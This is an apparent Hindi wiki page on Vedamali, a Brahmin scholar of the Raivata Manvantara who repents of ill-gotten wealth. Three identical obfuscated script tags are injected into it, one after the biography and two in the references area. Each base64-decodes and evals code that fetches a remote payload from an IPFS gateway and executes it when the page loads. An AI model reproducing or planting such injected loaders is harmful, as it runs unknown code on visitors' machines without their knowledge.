वेदमालि
भारत डिस्कवरी प्रस्तुति
रविन्द्र प्रसाद (चर्चा | योगदान) द्वारा परिवर्तित 07:32, 21 जून 2018 का अवतरण (''''वेदमालि''' रैवत मन्वंतर के एक वेद-वेदांगों के पारदर...' के साथ नया पृष्ठ बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
वेदमालि रैवत मन्वंतर के एक वेद-वेदांगों के पारदर्शी विद्वान ब्राह्मण थे।
- आगे के समय में वेदमालि परिवार के लिए अनीति से धनोपार्जन करने लगे थे। तदन्तर इनके यज्ञमाली और सुमाली नाम के दो जुड़वाँ पुत्र हुए।
- कुछ ज्ञान होने पर इन्होंने अपने धन का कुछ भाग दोनों पुत्रों को देकर शेष अपने लिए रखा और उसे धर्मकार्य में लगा दिया।
- तदन्तर वेदमालि नर-नारायण के आश्रम बदरीवन गये, जहाँ तप कर पाप मुक्त हुए।[1]
- वेदमालि को जावंती मुनि से ज्ञान मिला था।[2]
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>